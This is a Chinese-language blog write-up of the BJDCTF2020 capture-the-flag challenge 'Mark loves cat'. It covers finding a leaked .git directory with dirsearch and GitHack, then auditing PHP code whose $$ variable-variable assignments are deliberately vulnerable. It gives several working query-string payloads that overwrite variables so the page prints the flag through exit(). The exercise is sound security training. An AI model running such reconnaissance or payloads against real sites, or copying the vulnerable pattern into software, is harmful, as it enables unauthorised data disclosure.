[BJDCTF2020]Mark loves cat

[BJDCTF2020]Mark loves cat

oDqiBlPEsdpPRp5gARvE0_49zGbbDxfo6qfDEZgojd4

打开环境,在网页端没发现什么提示,通过dirsearch发现有git源码泄露

TD-0tLm2sJVE3fl3KIGUKgfzRUXkf1d7Yp086AuBqH8

通过githack下载下来

PaqgFDbt0gOaFX8kpBpXw0OLyHZlCR1XNNwZTFLlK9U

flag.php里的内容是读取flag文件内容并赋值给$flag

<?php

$flag = file_get_contents('/flag');

index.php的内容多一些,贴出来做代码审计

<?php
include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){   
    $$x = $y;  //POST型声明至当前文件
}

foreach($_GET as $x => $y){
    $$x = $$y; //GET型变量重新赋值为当前文件变量中以其值为键名的值
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){ //如果GET型中flag变量的值等于GET型中一个不为flag的键名则退出
        
        exit($handsome); //exit显然能利用
    }
}
 //如果GET型和POST型中都没有变量flag,则退出
if(!isset($_GET['flag']) && !isset($_POST['flag'])){ 
    exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}

echo "the flag is: ".$flag;

前面两个foreach进行循坏,遍历POST和GET,将数组中的值赋值给$y,也就是变量覆盖

第三个foreach里的if意思是存在(键值为flag的键值对)的值绝对等于这次比较的键值且这次键值不等于flag

下一个if判断不存在键值为flag的键值对(get型)且不存在键值为flag的键值对(post型)

最后一个if判断存在(flag,flag)(post型)或存在(flag,flag)(get型)

最后因为exit也是一种输出,我们可以执行到exit将flag值输出。

方法1:exit($handsome);

首先输出handsome,
就要将handsome的值转为$flag ,即handsome=flag

并且为了满足条件,需要有键值为flag的键值对,即flag=xxx,改变flag的值需要改回来,所以flag=a&a=flag

payload1:?handsome=flag&flag=a&a=flag

BvBB3A9qXnRc3N1zRvJKBFH5KwvE-sgL0b4iP915KE4

payload2:?handsome=flag&flag=handsome

5suYuDPn7O9wup-sDr29G-vomZB0ThMXAKbkqjjwD0U

方法2:exit($yds);

GET,POST 都不输入flag键就可以,只需要将exit中的
yds改为我们需要的flag即可

payload:?yds=flag

N0iwtQr4Fa1MV4yKExi-jgaS6XSTLU8ifc9dGWLhMl8

方法3:exit($is);

将exit中的is改为flag,同时满足if条件存在get型的(flag,flag)

payload:?is=flag&flag=flag

6ArVRu0TXL1hDULZvyMiC2CsHwu9AKZfE1GJJojo4BA

posted on 2024-02-11 21:22  跳河离去的鱼  阅读(19)  评论(0)    收藏  举报